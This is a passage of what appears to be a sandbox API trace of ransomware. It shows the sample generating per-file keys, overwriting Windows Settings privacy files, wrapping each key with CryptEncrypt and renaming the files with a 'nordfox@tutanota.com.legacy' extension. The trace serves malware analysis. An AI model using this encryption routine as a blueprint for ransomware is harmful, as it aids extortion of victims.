lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePrivacyWebcam.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageprivacywebcam.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0198.082] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0198.082] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0198.082] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePrivacySIUFSettings.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0198.082] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x44e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x44e, lpOverlapped=0x0) returned 1 [0198.083] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1102, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.083] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x44e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x44e, lpOverlapped=0x0) returned 1 [0198.084] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x44e [0198.084] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0198.084] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0198.084] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0198.085] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0198.085] CloseHandle (hObject=0x1c24) returned 1 [0198.085] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePrivacySIUFSettings.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageprivacysiufsettings.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePrivacySIUFSettings.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageprivacysiufsettings.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0198.087] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0198.087] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0198.087] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePrivacyRadios.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0198.088] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x430, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x430, lpOverlapped=0x0) returned 1 [0198.090] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1072, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.090] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x430, lpOverlapped=0x0) returned 1 [0198.090] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x430 [0198.091] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0198.091] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0198.091] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0198.091] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0198.091] CloseHandle (hObject=0x1c24) returned 1 [0198.093] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePrivacyRadios.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageprivacyradios.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePrivacyRadios.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageprivacyradios.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0198.097] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0198.097] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0198.097] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePrivacyPersonalization.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0198.098] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x45d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x45d, lpOverlapped=0x0) returned 1 [0198.099] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1117, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.099] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x45d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x45d, lpOverlapped=0x0) returned 1 [0198.099] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x45d [0198.099] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0198.100] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0198.100] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0198.100] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0198.100] CloseHandle (hObject=0x1c24) returned 1 [0198.100] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePrivacyPersonalization.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageprivacypersonalization.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePrivacyPersonalization.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageprivacypersonalization.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0198.102] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0198.102] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0198.102] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePrivacyMotionData.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0198.103] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x444, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x444, lpOverlapped=0x0) returned 1 [0198.104] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1092, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.104] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x444, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x444, lpOverlapped=0x0) returned 1 [0198.104] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x444 [0198.104] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0198.104] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0198.105] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0198.105] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0198.105] CloseHandle (hObject=0x1c24) returned 1 [0198.105] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePrivacyMotionData.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageprivacymotiondata.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePrivacyMotionData.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageprivacymotiondata.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0198.107] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0198.107] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0198.107] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePrivacyMicrophone.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0198.108] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x444, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x444, lpOverlapped=0x0) returned 1 [0198.109] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1092, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.109] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x444, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x444, lpOverlapped=0x0) returned 1 [0198.109] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x444 [0198.109] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0198.109] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0198.110] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0198.110] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0198.110] CloseHandle (hObject=0x1c24) returned 1 [0198.110] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePrivacyMicrophone.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageprivacymicrophone.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePrivacyMicrophone.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageprivacymicrophone.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0198.112] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0198.112] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0198.112] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePrivacyMessaging.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0198.113] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x43f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x43f, lpOverlapped=0x0) returned 1 [0198.116] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1087, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.116] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x43f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x43f, lpOverlapped=0x0) returned 1 [0198.116] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x43f [0198.116] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0198.116] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0198.117] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0198.117] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0198.117] CloseHandle (hObject=0x1c24) returned 1 [0198.117] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePrivacyMessaging.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageprivacymessaging.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePrivacyMessaging.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageprivacymessaging.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0198.119] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0198.119] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0198.119] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePrivacyLocation.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0198.120] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x43a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x43a, lpOverlapped=0x0) returned 1 [0198.128] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1082, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.128] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x43a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x43a, lpOverlapped=0x0) returned 1 [0198.129] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x43a [0198.129] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0198.129] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0198.129] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0198.130] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0198.130] CloseHandle (hObject=0x1c24) returned 1 [0198.130] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePrivacyLocation.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageprivacylocation.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePrivacyLocation.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageprivacylocation.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0198.134] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0198.134] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0198.134] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPagePrivacyGeneral.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0198.134] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x435, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x435, lpOverlapped=0x0) returned 1 [0198.137] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1077, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.137] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x435, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x435, lpOverlapped=0x0) returned 1 [0198.138] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x435 [0198.138] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0198.138] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 